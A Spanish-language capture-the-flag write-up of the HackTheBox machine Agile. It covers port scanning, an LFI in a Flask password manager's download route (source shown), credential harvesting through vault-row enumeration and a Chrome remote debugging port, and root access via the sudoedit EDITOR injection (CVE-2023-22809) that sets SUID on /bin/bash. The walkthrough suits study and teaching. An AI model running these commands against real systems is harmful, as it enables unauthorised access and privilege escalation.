Agile es una máquina media de HTB. Mediante un LFI podremos leer el archivo principal de la web, obteniendo así credenciales para acceder. Deberemos de convertirnos en otro usuario diferente y para escalar privilegios encontraremos una vulnerabilidad del comando sudoedit que mediante variables de entorno nos permitirá poner la bash con permisos de SUID.
Enumeración
Escaneo de puertos
Empezamos realizando un escaneo de puertos abiertos.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.203 -oG allPorts
[sudo] contraseña para mrx:
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-08 23:29 CET
Initiating SYN Stealth Scan at 23:29
Scanning 10.10.11.203 [65535 ports]
Discovered open port 80/tcp on 10.10.11.203
Discovered open port 22/tcp on 10.10.11.203
Completed SYN Stealth Scan at 23:29, 12.78s elapsed (65535 total ports)
Nmap scan report for 10.10.11.203
Host is up, received user-set (0.066s latency).
Scanned at 2023-03-08 23:29:16 CET for 13s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
Raw packets sent: 66788 (2.939MB) | Rcvd: 65927 (2.637MB)
Tenemos 2 puertos abiertos: el 22 (SSH) y el 80 (web).
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Realizamos un escaneo para descubrir los servicios y versiones de los puertos.
❯ nmap -p22,80 -sCV 10.10.11.203 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-08 23:28 CET
Nmap scan report for 10.10.11.203
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
Utilizamos whatweb para obtener más información de la web. Vemos que nos redirige al dominio superpass.htb así que lo añadimos en el /etc/hosts.
❯ whatweb 10.10.11.203
http://10.10.11.203 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], RedirectLocation[http://superpass.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://superpass.htb - no address for superpass.htb
Visitamos la web, esta sería la página principal y parece que es algún tipo de gestor de contraseñas.
Si navegamos un poco por la web, encontramos el panel de inicio de sesión y registro.
Nos registramos y seguimos navegando por la web.
Encontramos la página que nos ayuda a administrar las contraseñas.
Tenemos 3 campos para añadir datos: la página web , usuario y contraseña.
Podemos añadir, guardar, borrar e incluso exportar las contraseñas en un fichero CSV.
Interceptamos la petición de la descarga del archivo CSV. Podemos ver que hay un parámetro y el nombre del archivo a descargar, así que lo mandamos al Repeater.
Intrusión
Probamos a hacer un LFI apuntando al passwd.
En la respuesta nos muestra el contenido del archivo, así que al parecer no está bien sanitizado.
Podemos ver que hay diversos usuarios interesantes: corum, runner, edwards y dev_admin.
Si ponemos una ruta inexistente nos muestra varios archivos pero hay uno que nos llama mas la atención.
Si apuntamos al archivo podremos ver lo que parece el archivo principal de la web.
Copiamos el archivo y lo guardamos para revisarlo mejor.
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
passwords = password_service.get_passwords_for_user(current_user.id)
print(f'{passwords=}')
return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
p = Password()
p.password = get_random(20)
#import pdb;pdb.set_trace()
return {"p": p}
@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
return ''
p = password_service.add_password(site, username, password, current_user.id)
return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
r = flask.request
site = r.form.get('url', '').strip()
username = r.form.get('username', '').strip()
password = r.form.get('password', '').strip()
if not (site or username or password):
flask.abort(500)
p = password_service.update_password(id, site, username, password)
return {"p": p}
@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
password_service.delete_password(id)
return ''
@blueprint.get('/vault/export')
@login_required
def export():
if current_user.has_passwords:
fn = password_service.generate_csv(current_user)
return flask.redirect(f'/download?fn={fn}', 302)
return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
r = flask.request
fn = r.args.get('fn')
with open(f'/tmp/{fn}', 'rb') as f:
data = f.read()
resp = flask.make_response(data)
resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
resp.mimetype = 'text/csv'
return resp
En el código podemos ver como según el ID que se ponga en determinada ruta deberíamos poder información sobre usuarios.
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
Si probamos a realizar peticiones a diferentes ID podremos ver algunas credenciales.
Creamos un pequeño diccionario del 1 al 50.
❯ seq 1 50 > numbers
Mediante wfuzz realizamos peticiones a la ruta que nos indica el archivo principal de la web utilizando el archivo anterior.
❯ wfuzz -c --hc=404 --hh=265 -t 200 -w numbers http://superpass.htb/vault/row/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://superpass.htb/vault/row/FUZZ
Total requests: 50
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 5 L 22 W 263 Ch "1"
000000003: 302 5 L 22 W 263 Ch "3"
000000007: 302 5 L 22 W 263 Ch "7"
000000002: 302 5 L 22 W 263 Ch "2"
000000009: 302 5 L 22 W 263 Ch "9"
000000006: 302 5 L 22 W 263 Ch "6"
000000005: 302 5 L 22 W 263 Ch "5"
000000008: 302 5 L 22 W 263 Ch "8"
000000004: 302 5 L 22 W 263 Ch "4"
Total time: 0
Processed Requests: 50
Filtered Requests: 41
Requests/sec.: 0
Estos serían los números en los que deberían credenciales de usuarios.
Si revisamos podemos encontrar las credenciales del usuario corum, que también es un usuario del sistema.
Escalada de Privilegios
Si probamos esas credenciales podremos acceder a la máquina sin problema.
❯ ssh [email protected]
The authenticity of host '10.10.11.203 (10.10.11.203)' can't be established.
ED25519 key fingerprint is SHA256:kxY+4fRgoCr8yE48B5Lb02EqxyyUN9uk6i/ZIH4H1pc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.203' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 8 19:28:06 2023 from 10.10.14.9
corum@agile:~$
Leemos el archivo user.txt para obtener la flag.
corum@agile:~$ ls
user.txt
corum@agile:~$ cat user.txt
0e065e3576ca30215df181830076dc08
corum@agile:~$
Si listamos los puertos de la máquina podemos ver algunos puertos.
corum@agile:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:50933 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:54976 127.0.0.1:41829 ESTABLISHED
tcp 0 224 10.10.11.203:22 10.10.14.17:44616 ESTABLISHED
tcp 0 0 127.0.0.1:50933 127.0.0.1:44052 ESTABLISHED
tcp 150 0 127.0.0.1:59864 127.0.0.1:3306 CLOSE_WAIT
tcp 150 0 127.0.0.1:54506 127.0.0.1:3306 CLOSE_WAIT
tcp 0 0 127.0.0.1:41829 127.0.0.1:54988 ESTABLISHED
tcp 0 0 127.0.0.1:41829 127.0.0.1:54976 ESTABLISHED
tcp 0 0 127.0.0.1:54988 127.0.0.1:41829 ESTABLISHED
tcp 0 1 10.10.11.203:34124 8.8.8.8:53 SYN_SENT
tcp 0 0 127.0.0.1:44052 127.0.0.1:50933 ESTABLISHED
tcp6 0 0 ::1:50933 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
corum@agile:~$
Si miramos qué servicios están activos por esos puertos, veremos que el puerto 41829 está el depurador remoto de Google Chrome.
corum@agile:~$ ps faux | grep 33060
corum 5910 0.0 0.0 4020 2092 pts/3 S+ 15:41 0:00 \_ grep --color=auto 33060
corum@agile:~$ ps faux | grep 50933
corum 5913 0.0 0.0 4020 1960 pts/3 S+ 15:41 0:00 \_ grep --color=auto 50933
corum@agile:~$ ps faux | grep 59864
corum 5915 0.0 0.0 4020 2044 pts/3 S+ 15:41 0:00 \_ grep --color=auto 59864
corum@agile:~$ ps faux | grep 41829
runner 5835 1.1 2.5 34027492 102716 ? Sl 15:41 0:00 \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.x1Wb1i --window-size=1420,1080 data:,
runner 5898 3.8 4.1 1184768452 166792 ? Sl 15:41 0:01 | \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=5842 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678454526267604 --launch-time-ticks=8336543054 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,852923818530742403,16427644460389765716,131072 --disable-features=PaintHolding
corum 5917 0.0 0.0 4020 2160 pts/3 S+ 15:41 0:00 \_ grep --color=auto 41829
corum@agile:~$
Mediante SSH podemos hacer un Port Forwarding para traernos el puerto a nuestra máquina.
❯ ssh [email protected] -L 5000:127.0.0.1:41829
[email protected]'s password:
Para acceder a la configuración debemos visitar chrome://inspect.
Configuramos el puerto que le hemos indicado en el Port Forwarding.
Una vez configurado nos sale el target SuperPassword con un subdominio.
Si seleccionamos inspect y nos dirigimos al directorio vault encontramos dos credenciales.
Mediante la primera credencial seremos capaces de acceder con el usuario de edwards.
❯ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the unminimize command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 10 13:40:08 2023 from 10.10.14.3
edwards@agile:~$
Gracias a sudoedit podemos editar los dos archivos que se indican como si fuésemos el usuario dev_admin.
edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$
Si buscamos alguna vulnerabilidad en sudoedit encontraremos el CVE-2023-22809, que nos permite convertirnos en root gracias a la variable de entorno EDITOR.
Exportamos la variable de entorno al archivo /app/venv/bin/activate y en el segundo comando editamos alguno de los dos archivos como el usuario dev_admin.
edwards@agile:~$ export EDITOR='vim -- /app/venv/bin/activate'
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
Añadimos al principio el comando que queremos que ejecute.
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
chmod u+s /bin/bash
Después de unos segundos la bash tendrá permisos SUID pudiendo así ser root y leer la flag.
edwards@agile:~$ bash -p
root@agile:~# whoami
root
root@agile:~# cat /root/root.txt
d096bf0665aa1d99f6d85b854496baa6